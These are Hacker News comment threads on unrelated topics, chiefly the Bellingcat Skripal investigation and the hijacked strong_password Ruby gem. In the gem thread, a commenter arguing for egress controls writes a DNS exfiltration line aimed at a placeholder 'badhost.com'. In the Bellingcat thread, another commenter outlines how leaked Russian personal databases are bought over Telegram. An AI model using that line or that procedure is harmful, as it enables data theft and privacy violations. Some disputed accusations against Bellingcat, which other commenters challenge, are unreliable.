<comment><USER4> In decades past, being homosexual was considered a risk factor for intelligence agents. An adversary who knew they were gay could threaten exposure, thereby gaining a lever to potentially turn the agent. So they tried very hard to keep gays out of the intelligence services.

I don't know if the US still does this. I'd be a bit surprised. I wouldn't be surprised if Russia still did, though.

<comment><USER5> I expect the US still does do this, but only for gay people in the closet since an openly gay person is immune to that sort of blackmail. Same goes for infidelity etc.

<comment><USER6> Part of the reason they are slow-walking Trump's pronouncements on trans people in the military, is that after getting rid of 'don't ask don't tell', the military will have wanted to know about people's sexual preferences, especially in key roles, so as to guard against cases of blackmail.

I guarantee that they will have key people who have told them all their kinks, that they are really trying hard not to get rid of.

</comment></comment></comment></comment></comment><comment><USER7> This is impressive journalistic work. If you are a fan of such type of open- source intelligence, I highly recommend the Arms Control Wonk podcast and blog, who have done amazing investigations into North Korean missile development ([https://www.armscontrolwonk.com/](https://www.armscontrolwonk.com/)).

Yet, with so many obvious giveaways, I find it hard to believe Russia ever wanted to get away with the Skripal poisoning. From using a very exotic Russian-made poison to the absurd Salisbury Cathedral story, it looks like a provocation or trolling. Of course, the Russian government will officially deny any involvement, but they are doing it with an obvious wink.

<comment><USER8> I forget the word, but there is a Russian word that sums this up. It's about saying things thst are over-the-top to accentuate reality. In the same way that Stephen Colbert pretended to be a kind of hyper-Bill O'Reilly as a way of pointing out the ridiculousness and hypocrisy of some aspects of the Republicans in the US. It also applies to someone with a record of torturing and killing pets who is accused of murder, grinning and saying, "Everyone knows I would not hurt a fly."

A couple of Russians saying that they found the wintry weather in the UK challenging? Well...

<comment><USER6> Sounds similar in meaning to the Yiddish word 'chutzpah', which was once defined by Leo Rosten as;

 _" that quality enshrined in a man who, having killed his mother and father, throws himself on the mercy of the court because he is an orphan"_

</comment></comment></comment><comment><USER9> The Web of Death[1] by Buzzfeed lists all the people related to Russia who died in unexpected circumstances on the UK's soil in the last 15 years, together with their personal stories and connections.

[1] [https://www.buzzfeed.com/heidiblake/from-russia-with- blood-1...](https://www.buzzfeed.com/heidiblake/from-russia-with- blood-14-suspected-hits-on-british-soil#11278400)

<comment><USER10> Western media present this material as if "Russia" means the Russian government means Putin. But there is a large presence of Russian oligarchs and organized criminals in the UK, who do the things those types of people do. It doesn't make sense that all of it is being planned by the Russian state, let alone Putin personally.

<comment><USER11> There's no meaningful distinction between Russian government, Russian oligarchs, and Russian organized crime at this point.

<comment><USER10> That's not only false, but obviously false, since it's an extreme oversimplification of a situation with many players, competing interests, and so on. You won't find any serious scholar taking that naive a view, though plenty of journalists do. The question is where this fantasy of an evil monolith with a spidery mastermind comes from.

<comment><USER11> I didn't say it's a monolith, or there's a spidery mastermind. Rather, it's a sort of a swamp where ugly things move around all the time - today he is a mob leader, tomorrow he's an elected member of the parliament (real world example from my hometown) etc. The problem is that they keep their social connections as they move around, so in the end you end up with this weird network of "friends and colleagues" where, say, a high-ranked police official visits a funeral of his old and dear parliamentarian friend, back from the day when they were both mobsters.

</comment></comment></comment></comment></comment><comment><USER12> I think a bit skepticism is due here. Their "proof" that Chepiga and Boshirov are the same person rests almost solely on a supposed strong resemblance between a photo of Chepiga taken in 2003 and photos of Boshirov from 2009 and 2018. I have stared at the photos for a long time and I am not sure they are the same person. Chepiga's eyebrows and bottoms of ears look different. I am not saying that they are not the same person but neither am I convinced they are.

<comment><USER13> Without commenting on the likenesses of the two photos, I do note that a person's ears do change shape, becoming longer throughout their lifetime.

<comment><USER12> That's certainly true. Boshirov's photos also show a mole above his right eye. This is missing in the Chepiga photo. But that does not prove they are not the same person as a mole or mark could potentially have appeared later in life. What's your opinion on the likeness, btw?

</comment></comment></comment><comment><USER14> More unsubstantiated claims from Bellingcat.

Remember that video he "found on youtube" that showed a Russian BUK driving through the streets on East Ukraine ? Well, it turns out it was composited from a video of the street, overlaid with an image of the BUK carrier. [1] Higgins is a fraud and a liar.

It's amazing that HN (which I'd always considered a forum for serious, thoughtful and intelligent people) would give credence to anything this guy says.

[1] [https://sputniknews.com/russia/201809171068089638-russia- boe...](https://sputniknews.com/russia/201809171068089638-russia-boeing- mh-17/)

[2] [https://www.nytimes.com/aponline/2018/09/17/world/europe/ap-...](https://www.nytimes.com/aponline/2018/09/17/world/europe/ap- eu-russia-mh17.html)

[3] [https://www.mirror.co.uk/news/world-news/malaysia- airlines-f...](https://www.mirror.co.uk/news/world-news/malaysia-airlines- flight-mh17-russia-13258734)

<comment><USER15> Could you elaborate and provide some evidence? The sources you linked don't seem to be related to the claims you're making.

<comment><USER16> I think he's relating to infamous briefing, where Russian DoD presented quite a lot of fakes trying to shift the blame to Ukraine.

One of the fakes were exactly that claim - that the video with Russian Buk was a fake.

</comment></comment></comment><comment><USER17> Key quote:

 _> In our source's words, an operation of this sort would have typically required a lower-ranked, "field operative" with a military rank of "no higher than captain." The source further surmised that to send a highly decorated colonel back to a field job would be highly extraordinary, and would imply that "the job was ordered at the highest level."_

That speaks for itself

<comment><USER16> Well, the fact that Russia arranged "we're just two guys (wink, wink) observing church spires" TV conference for them, shows that they're not just low-level thugs.

</comment></comment><comment><USER18> Amazing work, but I'm genuinely surprised that you can uncover top spy identities, just using publicly, and leaked, material available over the internet.

<comment><USER19> They had to make some very unlikely connections. Look for the jumps in their analysis where they suddenly know what to Google for. Because of what? A photo from somebody in Chechnya that looks not at all like the guy they want.

Could be they knew what they had to find... Anyway, they have some great sources for an open source analysis joint! ;-)

<comment><USER20> > _Could be they knew what they had to find..._

Or, more likely, you are simply looking at the result of extremely tedious trial & error, with the failed lines of investigation omitted from the final writeup.

</comment></comment></comment><comment><USER21> There's an article [in russian] on how easy you can get a government, mobile phone, bank database reports on anybody, you can get list of all bank accounts, history of border crossings, history of mobile phone locations, personal phone numbers, equity ownership, debts and credits online, for tens of $: [https://habr.com/post/423947/](https://habr.com/post/423947/)

The passport data in the investigation is nothing too special. When total control goes side-by-side with corruption, thats the result.

</comment><comment><USER22> Just yesterday there was BBC investigation of killings in Cameroon based only on what is available on the Internet and now this. Amazing!

</comment><comment><USER23> I have never heard of bellingcat.com

The work seems impressive but I think it should be taken with caution. Who is behind this website that he can access Russian databases via "contacts"? Passport databases contain pictures? (I have no idea)

"Bellingcat has contacted confidentially a former Russian military officer of similar rank as Colonel Chepig"

How do you find such people? Soldiers should be a dime a dozen, GRU colonels should be hard to find.

"Bellingcat and the Insider have obtained "Petrov"'s and "Boshirov"s border crossing data for a number of countries in Europe and Asia, for the period of validity of their international passports (mid-2016 through today). " Wow.

Man, if the "social network research skills" of Eliott Higgins are for real, I have a few other cases he could dig in.

EDIT: I think I was right being skeptical. As mentioned here, while looking similar, the persons shown in the pics seem not to be identical to me. Can someone confirm this with software? I would be especially interested in the normalized distance between the eyes.

Besides this, he has put a picture online that he obtained illegally and he is violating EU privacy law.

</comment><comment><USER24> That's especially funny that real passport data of high ranked security officer is available in leaked data and you can bribe you way into FSB's database of identity forms to get up to date info as well.

It's not same kind of investigation based on open info that bellingcat have done before.

<comment><USER25> You don't have to bribe FSB directly to buy databases. You simply search among numerous online forums in .ru for a contact in Telegram, ask for a small sample, negotiate a price (100-10000 USD depending on database), pay for it with BTC, and obtain it via Telegram.

There was nothing FSB specific in the databases obtained by bellingcat, just regular citizen data.

</comment></comment><comment><USER26> This is interesting as an investigative work, but what of it?

Are we to believe only Russia conducts extra-judicial assassinations of people of interest? And do we expect the governments responsible to come out and admit it?

To me this circus around this particular assassination just appears to stem from having to justify sanctions against Russia by the UK. But then again, I don't expect a country to come out and admit that they'll sanction a country just to weaken it's economy and provoke social instability until they get a more favorable government.

<comment><USER8> _To me this circus around this particular assassination just appears to stem from having to justify sanctions against Russia by the UK._

I'm not going to touch the majority of the bait you're laying out and instead merely note that the "circus" was probably more a result of the extensive and expensive decontamination required over a large area. Oh yes, and the civilian who died and her partner who was affected. That kind of thing tends to make people pretty upset, no need for sprawling conspiracies of the state required. Personally it didn't seem like much of a circus unless... did you see the decontamination tents and get a little confused?

<comment><USER26> Are you upset about the droning of civilians with very little oversight? Are you upset about the kidnapping of civilians into cargo ships to act as prisons without jurisdiction?

This attack killed four people, let's say there have been 20 times as many, so 80 deaths overall. do you believe the CIA, Mossad, Iran secret services, China secret services, didn't kill more?

<comment><USER8> You seem very dedicated to making this a case of "everyone is bad, so no one is bad." I'll repeat that old saw, two wrongs don't make a right. The injustices and acts of violence committed by America against others don't justify, excuse, or mitigate similar acts by Russia.

Now, can we get back to the topic at hand without these diversions? You were claiming that the "circus" of the UK being outraged by the use of a chemical weapon to attempt to murder two people on their soil, and the incidental killing of a third and injury of a fourth (both civilians) was a "circus" I think. I'm still interested to your non-diversionary response to my take on why that would legitimately anger not just the government of the UK, but anger and terrify its people.

<comment><USER26> My point is not that everyone is bad. My point is that this is par for the course. We don't live in a world of law. We live in a world of civilian law separated and insulated mostly in countries, and over that, anything goes. We are not at war because our wars are financial now but it is very normal for the kidnapping and murder of people that a security threat to a country.

My point was that, if you switched and the murdered was a nuclear scientist and the assassins were Mossad agents (like it happened at least once), no one was surprised or made sanctions because of it.

<comment><USER27> You are committing a category error right there. There is a difference between "is" (as is "we don't live…") and "ought" ("I find it morally repulsive and it's wrong"), you can't argue one with another. Though it's a very popular rhetoric device to cover morally dubious deeds

</comment></comment></comment></comment></comment></comment><comment><USER28> So was bellingcat fed this information from a western Intelligence organization and then they parallel constructed it? Seems likely.

<comment><USER29> I'd like to know why you think it's likely, considering that it's a strong claim for you to make.

</comment></comment><comment><USER30> We need to admit the Cold War is back. Is anyone else as terrified as I am of the assault on reason from all sides right now?

<comment><USER25> No Cold War is not back. Modern Russia is very weak compared to USSR.

<comment><USER31> Putin's Russia is weak but more bold and reckless than the USSR.

</comment></comment></comment><comment><USER32> In these games of high level 'politics' I always assume nobody in the public really knows anything.

Any claims produced by anyone involved are just claims and not facts that can be verified by me or any of those so called journalists.

I personally would trust neither Putin nor Trump with my lunchbox.</comment>


Europe's Young Grow Agitated Over Future Prospects - <AUTHOR> http://www.nytimes.com/2011/01/02/world/europe/02youth.html?pagewanted=1&_r=1&ref=general&src=me <comment><USER2> She worked for free and was upset about it? No joke! Why'd she ever do that in the first place?

And if you're fluent in 5 languages and can't find a paying job for that, you are NOT LOOKING HARD ENOUGH. Here's a hint: Look outside your country's borders. Multiple languages is something that makes you useful worldwide. There's at least 4 other countries out there that would love to have a native speaker from her country to help translate from their language into her native one.

<comment><USER3> Unpaid internships are common in the career beginning: companies won't employ you if you have no prior experience (they always look for 3 to 5 years of experience). That's very annoying to study 5 to 8 years and being told that you're not qualified. And about going abroad: speaking 5 languages can help, but I doubt that an italian law degree will give a job.

<comment><USER4> > doubt that an italian law degree will give a job.

That's the same for an American law degree. There's simply too many lawyers right now. I provide web services to lawyers, and about a third of my co- workers are qualified for the bar in multiple states, but working where I do.</comment></comment></comment>


Show HN: Decentralized Cloud Storage, X Cloud (Beta) - <AUTHOR> https://internxt.com/cloud <comment><USER2> So I am curious as to the payment plan. So if I understand correctly, the business gets paid in dollars, but the hosters get paid in coins?

How do the coins fare in the howey test? Are there any governance plans for the token? Do you run your own nodes? If so, do you plan to decommission them once the platform is popular enough? What would happen if no one is selling coins on an exchange? What happens if someone placed a huge dollar order, even though all of the coins on the exchanges do not equal five million worth of fiat value? What happens to the difference?

Thanks!</comment>


Strong_password Rubygem hijacked - <AUTHOR> https://withatwist.dev/strong-password-rubygem-hijacked.html <comment><USER2> Hi all. I'm the (actual) owner of that gem.

As already hypothesized in the comments I'm pretty sure this was a simple account hijack. The kickball user likely cracked an old password of mine from before I was using 1password that was leaked from who knows which of the various breaches that have occurred over the years.

I released that gem years ago and barely remembered even having a rubygems account since I'm not doing much OSS work these days. I simply forgot to rotate out that old password there as a result which is definitely my bad.

Since being notified and regaining ownership of the gem I've:

1\. Removed the kickball gem owner. I don't know why rubygems did not do this automatically but they did not.

2\. Reset to a new strong password specific to rubygems.org (haha) with 1password and secured my account with MFA.

3\. Released a new version 0.0.8 of the gem so that anyone that unfortunately installed the bogus/yanked 0.0.7 version will hopefully update to the new/real version of the gem.

<comment><USER3> one more reason why to use a password manager and have a unique password.

Thanks for sharing the info!

</comment></comment><comment><USER4> This is a gem that checks the strength of a user-submitted password. It has a large number of downloads (37,000 on the legitimate 0.0.6 version). It looks like it's made to be integrated on webservers.

The modified gem downloaded and executed code stored in a editable Pastebin, meaning that the code could have changed at any time. Presumably, the malicious code would activate just by browsing any page on the affected site. One version of the Pastebin code would execute any code embedded in a magic cookie sent by a client. Plus, it would ping the attacker's server to let them know your webserver was infected.

Nasty, nasty stuff.

<comment><USER5> > This is a gem that checks the strength of a user-submitted password

Does it, though?

[https://github.com/bdmac/strong_password/blob/master/lib/str...](https://github.com/bdmac/strong_password/blob/master/lib/strong_password/entropy_calculator.rb)

<comment><USER6> Indeed, replacing this with the list of top 100 passwords would be much more effective.

<comment><USER7> Or, alternatively, switching to the haveibeenpwned API[1] or zxcvbn[2].

[1]: [https://haveibeenpwned.com/API/v2](https://haveibeenpwned.com/API/v2) [2]: [https://github.com/dropbox/zxcvbn](https://github.com/dropbox/zxcvbn)

</comment></comment></comment></comment><comment><USER8> The unanswered question is still how this `kickball` account gained control of the gem.

> The gem seems to have been pulled out from under me… When I login to > rubygems.org I don't seem to have ownership now. Bogus 0.0.7 release was > created 6/25/2019.

The way I see it, there are a few options:

1\. The rubygem was transferred by ruby staff to this account.

2\. The maintainer's account was hijacked and then it was transferred, and could even still be compromised.

3\. There is some issue or attack vector with the rubygem system that allowed the attacker to gain control.

Any guesses?

<comment><USER9> Option 2 is overwhelmingly likely, IMO. Phishing, password reuse, credential scraping/spamming, and plain old brute force are unbelievably common.

That said, the other two options bear investigation too. Just don't spend time looking for a cold breeze from an un-caulked window frame when the screen door is open.

<comment><USER10> The true irony, of course, is that the package in question is designed (whether it does or not isn't the point, though I guess if it isn't very good then this becomes all the more humorous) to help prevent people from reusing common passwords or choosing passwords that are easy to brute force ;P... clearly the author should have used this package to select their password that protected the uploads of this package.

<comment><USER11> We don't know that. Their system could've been compromised in some other way and the password captured.

</comment></comment></comment></comment><comment><USER6> We need a sort of capability and permission method for libraries.

For example a "strong_password" library should only by given "CPU compute" permissions, no I/O.

But even with this, the problem will be like we see on phone, popular libraries will require all the permissions.

You'll want to install React, and React + it's 100 dependencies will request everything.

<comment><USER12> To be honest, even the coarsest-possible permissions of "can do I/O" vs. "can't do I/O" would be exceedingly effective at stymieing these sorts of attacks; all malicious software of this sort needs to do I/O at some point, and relatively few libraries actually have a good excuse to do I/O (though logging might be thorny).

That said it seems easier said than done to impose those sorts of restrictions on a per-dependency basis. Attempts to statically verify the absence of I/O sounds like a great game of whack-a-mole, and I don't know how you'd do it dynamically without running all non-I/O dependencies in an entirely separate process from the main program.

<comment><USER13> > few libraries actually have a good excuse to do I/O (though logging might be > thorny).

Yeah, logging would be tricky...

Maybe a "logging" capability could be created. Separated from other I/O.

Such a capability would be weird, and nonstandard, and messy, cutting across several several abstraction layers. But if pulled off, it might be worth the effort.

<comment><USER11> That's solved in similar frameworks by separating open and read/write. You open (or inherit from somewhere) a logging socket, drop the open privileges, retain the permission to write to the log socket.

<comment><USER14> This discussion is basically inventing a per-library pledge(2).

<comment><USER11> or apparmor, selinux, grsec, tomoyo, ... But those systems can't integrate into scripting language per-library use case without some serious thread / IPC overhead.

<comment><USER14> These others can achieve what's intended, but the entire flavour of the discussion is a dead ringer for pledge's purpose and interface, which is much simpler and very much internal to the software (a self-check of sorts).

</comment></comment></comment></comment></comment></comment></comment><comment><USER15> In light of vulnerabilities like these, I'm glad there are developers that spend time to make their apps more secure. Thus, making us all aware that issues like these are out there. Security is almost always just put off in exchange for features and security is most of the time taken for granted. It's about time that we start taking it seriously.

Kudos to you!

</comment><comment><USER16> It seems to me like the only way to really provide any sense of security is to force gems uploaded to RubyGems to be signed. There is some discussion here ([https://github.com/rubygems/guides/pull/70](https://github.com/rubygems/guides/pull/70)) about why the Rubygems PGP CA isn't really worth using in its current state. As we've seen with Javascript dependencies, we can only put off dealing with this problem for so long.

<comment><USER17> Another solution would be changing the ecosystem to no longer be reliant on so many third party dependencies.

For instance if I am using Java and I build my web app with only Spring Framework, I can have a lot more confidence that one of my JARs hasn't been backdoored than I can in an ecosystem where it's regularly the practice to pull 100s of dependencies from different individual FOSS developers, where it's difficult to audit the process that each library author is using to secure their package manager upload credentials.

I am not sure signatures are that useful since without a centralized authority to issue the certificates and securely verify author identities, we are just back to a trust-on-first-use policy for the signatures, and people will just end up setting their CI servers to always trust new signatures since they won't want to deal with what happens when authors change their certificate from version to version (which will surely happen).

<comment><USER18> Sure, obviously reinventing as many wheels as possible will minimize your exposure to third-party malfeasance.

As in all forms of engineering there are, of course, no absolutes, only trade- offs to be made.

The more wheels you reinvent, the slower your velocity for solving the core business problems that pay your bills. Moving too slowly can be fatal to the business. It's a tricky balance. Signing isn't perfect, but it can improve some aspects of some balances people strike.

<comment><USER19> It's not about the amount of functionality shifted to dependencies, but about the fragmentation of these dependencies.

Packaging and distribution of libraries takes effort to do it properly, so they're only done properly if it's sufficiently centralized. If you have to import fifty third-party wheels, then it's unavoidable that some or most of these wheels can't be managed properly, but it's quite feasible to have a single (or three) well-managed third-party package that provides a hundred wheels so that you don't have to reinvent them. If the strong_password gem was integrated in (for example) Rails and managed/released by the same team with the same processes, then this risk would be avoided. If instead of a dozen separate gems with every functionality separate you'd have a single bundle of varied functionality like in Java there's Guava or Appache Commons, then that bundle can handle release management in a way that each separate gem developer can not.

If you want to have reliable dependencies then you eithery have to choose _only_ dependencies with buraucratic and pedantic release governance, or manage/audit each dependency yourself (as the author of the original article seems to have done). In ecosystems where it's reasonable to have serious projects that have 0-3 distinct (but large) external dependencies this works easily; in ecosystems where you have dozens or even a hundred dependencies, that overhead is impractical for most projects.

<comment><USER9> > If you want to have reliable dependencies then you eithery have to choose > only dependencies with buraucratic and pedantic release governance, or > manage/audit each dependency yourself

That's a false dichotomy. There are middle grounds which can and do work at scale:

Upgrade knowingly and deliberately (don't just spray greenkeeper everywhere).

Carefully monitor changed application/network behavior after upgrades.

Devote a manageable, non-zero amount of time to reading/finding security bulletins or security incidents on your most-heavily-used dependencies.

Pay attention to issue reports and prioritize any with possible security implications.

...and (at a slightly larger scale) hire, empower, and compensate people to do those kinds of things in a systematic, regular way.

Seriously, security engineering isn't served well by "ZOMG NPM is garbage we must switch to $megaframework and pray that their release engineers get everything right" hysteria and absolutism. There are effective, moderate strategies that help with these issues every day.

<comment><USER17> I think we can simplify that middle ground proposal down to two items:

1) only upgrade dependencies "knowingly and deliberately" (as the author of this article did). What does this mean if not auditing the upgrades? Just upgrading more rarely (e.g. because you know you need a specific feature or bug fix), but still auditing them? By waiting to upgrade, the diff will be vastly larger and performing an audit to "knowingly" upgrade will be much more difficult.

2) detecting a breach after you've already installed an attacker's code onto your servers, via active monitoring or by hoping someone else does active monitoring or auditing and reports the issue to you or to a central authority.

#1 as a "middle ground" doesn't seem too different from the post you responded to. #2 is what most projects seem to rely on - hope someone else finds the problem and reports it, and that they don't get hit too hard in the meantime.

</comment></comment></comment></comment></comment></comment><comment><USER20> There's still a lot to learn about this incident, but most likely the RubyGems account was compromised, allowing the attacker to upload whatever they wanted. Signed releases with a web of trust would be ideal, but I doubt we'll ever see that world. A simple and pragmatic solution would be to have the next version of bundler support the ability to only install packages published with 2 factor enabled, then the next major rails version default it to on, with plenty of advanced warning in 6.x/bundler. This still has plenty of gaps, such as an attacker being able to take over even with 2 factor, and then re- enabling it with their own keys, or RubyGems.org itself being compromised. It still represents a major upgrade in security for the entire Ruby ecosystem without causing much pain to authors and users.

</comment><comment><USER21> Reminds me of this article: [https://hackernoon.com/im-harvesting-credit-card- numbers-and...](https://hackernoon.com/im-harvesting-credit-card-numbers-and- passwords-from-your-site-here-s-how-9a8cb347c5b5)

</comment><comment><USER22> This is a great reason why you should never allow unknown outgoing connections from Production.

You can implement this however makes sense for you. For me, the easiest thing is to run a simple locked down proxy server, and allow only specific domains there. This makes it easy to setup whatever rules you want, allowing entire domains, or only specific hosts. And it gives you a convenient place to log entries before you lock them down.

This is also why you shouldn't allow external DNS resolution from every host in your network. It would be just as easy to move data in and out with Dnsruby::Resolver.query('base64-encoded-payload.badhost.com', 'TXT'), 255 bytes at a time.

Once everything is moving through your proxy, there's no need to allow external DNS resolution from other hosts.

<comment><USER23> If an attacker has the ability to send dig queries to a remote host, he can over-ride anything you put in place on the host to prevent external DNS queries.

Also, most of this traffic is still unencrypted and dig'ging strange severs is noisy as hell. I'm pretty sure (famous last words) that most entry-level firewalls would flag this out of the box. If they don't, they should.

Still upvoted you though. This is an exfiltration technique that is really easy to spot and not widely known about.

<comment><USER22> Right, worry about outgoing traffic first, and DNS resolution second. And this goes for all traffic. Even ICMP can used to tunnel data.

</comment></comment></comment><comment><USER24> > I went line by line linking to each library's changeset. This due diligence > never reported significant surprises to me, until this time.

Mad props to the author, Tute Costa, for doing this. It's a large investment of time for usually no return, so I think very few people do. And his (?) reaction to finding this was quite effective.

Thank you for your service sir.

</comment><comment><USER25> If you have time and/or money and want to contribute to fixing this issue, please feel free to join in: [https://github.com/rubygems/rubygems/issues/2496](https://github.com/rubygems/rubygems/issues/2496)

</comment><comment><USER26> The way I see it, the root of the problem is that there isn't an independently verifiable association between a package and code commit hash that it's been generated from. My GitHub page can have good code, but no one has any idea what's in the corresponding package.

Does the upcoming builtin package manager on GitHub solve this problem? Does it guarantee that packages are only built from code pushed to GitHub and that associate the commit hash in the metadata in some way?

</comment><comment><USER27> Rubygem should contract an external auditor (security firm), this could go way deeper. Until they perform a throughout audit I will personally stay away from this project.

<comment><USER28> So why does this not apply to everything?

If "this could go way deeper" is your answer to a super unpopular rubygem getting hijacked, why isn't that just the default assumption then?

Do you only use thoroughly audited software projects? How do you manage that?

</comment></comment><comment><USER29> We really need more signing support in language specific packaging.

</comment><comment><USER30> why not just restrict the production environment to not open ports other than 80 and not to create TCP channels to unauthorized hosts?

<comment><USER31> It's effective but tends to be a considerable amount of work to maintain, especially since the web is more dynamic these days: imagine what it would take to filter only authorized connections to a service hosted on AWS, for example, where anyone in the world can get IPs in the possible range and even put data on white-listed hostnames like S3. You're basically building an allow list of host names, intermediating every update path, etc. and dealing with things which were designed with a more open model — e.g. do you disable things like OCSP or whitelist more third-party resources?

This also heavily encourages microservices since most non-trivial applications will have some reason to connect to fairly arbitrary resources. Hopefully that can be sandboxed well but relatively few apps were designed that way and that general class of missing things which weren't supposed to work is notoriously easy for even experienced teams to miss.</comment></comment>


Work for British freelancers in Germany about to dry up? - <AUTHOR> http://www.bbc.com/news/magazine-39082468 <comment><AUTHOR> Most German companies will NOT consider going through a visa process for somebody not already in the country and working for named company. Plenty of people out of work from all over Europe so why would an employer hire a Brit when they can hire another EU passport holder (already in the country and often speaking the language even).</comment>


Why is Facebook asking for users preferred temperature scale? - <AUTHOR> https://www.facebook.com/settings?tab=account&section=temperature&view

<comment><USER2> I think it could have something to do with Events - events display the expected temperature at the location at the time of the event. The temperature scale changes depending on the preference you pick.

<comment><USER3> It's always annoyed me that Events would tell me the temperature in °F.

</comment></comment><comment><USER4> That's probably the least creepy thing about Facebook.

</comment><comment><USER5> Facebook events show a weather prediction for the time of the event. I imagine they use this setting to present the temperature in the user's preferred scale.</comment>


TOP 5 growth hacks of July 2015 - <AUTHOR> https://medium.com/@happyaladdin/top-5-growth-hacks-of-july-2015-on-growthhackingidea-com-9a3deceeacce

<comment><AUTHOR> What is your the most favorite growth hack?</comment>


How Nations Fare in PhDs by Sex - <AUTHOR> http://www.scientificamerican.com/article/how-nations-fare-in-phds-by-sex-interactive/

<comment><USER2> Exploring the country differences by different academic disciplines (grouped in categories by a control on the Web graphic) is interesting. It seems to show that the male preponderance is much greater in science, technology, engineering, and mathematics (STEM) disciplines than in humanities disciplines, which is not a big surprise. Countries vary in their proportions of students pursuing each academic discipline, so a country with a lot of STEM Ph.D. holders will skew to showing an especially big disparity favoring males.

<comment><USER3> There's at least two countries, Bulgaria and Turkey, where there isn't any significant discrepancy in the rate of male vs female PhDs between the "Non- Science" and "All Science & Engineering" categories. Probably other countries too, but I didn't attempt a systematic check.

</comment></comment><comment><USER4> I'd be curious to see what the gender breakdown looks like for native-born vs. immigrant PhD students, by field.

</comment><comment><USER5> The source of the data also contains many interesting comparisons and conclusions, particularly with respect to time.

[http://www.nsf.gov/statistics/seind14/index.cfm/chapter-5/c5...](http://www.nsf.gov/statistics/seind14/index.cfm/chapter-5/c5h.htm)

</comment><comment><USER6> This data isn't all that useful since the gender distribution of the countries isn't considered. Latvia, for example, seems to favor women in most fields, but there are 8% more women than men which I am sure could account for some of the differences.

</comment><comment><USER7> Some interesting differences:

Thailand and Mongolia versus South Korea and Taiwan. Canada versus the US. Portugal versus Spain.

Once you select specific disciplines a lot of the countries have extremely small relevant populations though.

</comment><comment><USER8> This is silly.

Ukraine have more women than men in term of sex ratio. So of course there is more phd awarded to women than men.

There are tons of debates on how there are less female in engineering and such but I have yet to see a reason why that is. It could be anything including something innoculous. If there is a systematically evil group that is trying to prevent women from going into CS then I am all for stopping them. But if because the women themselves just chose to do other things than CS than who am I to try to change their mind?

<comment><USER9> I doubt there is a major group of deliberately evil people. But there are unconscious biases that we pretty well documented, and should be fought just as much. That's a third option between your two.

</comment></comment><comment><USER10> wish I'd known, mine was by exam... ;-)

</comment><comment><USER11> Awaiting the alternative article:

"How Nations Fare in Sex by PhDs"</comment>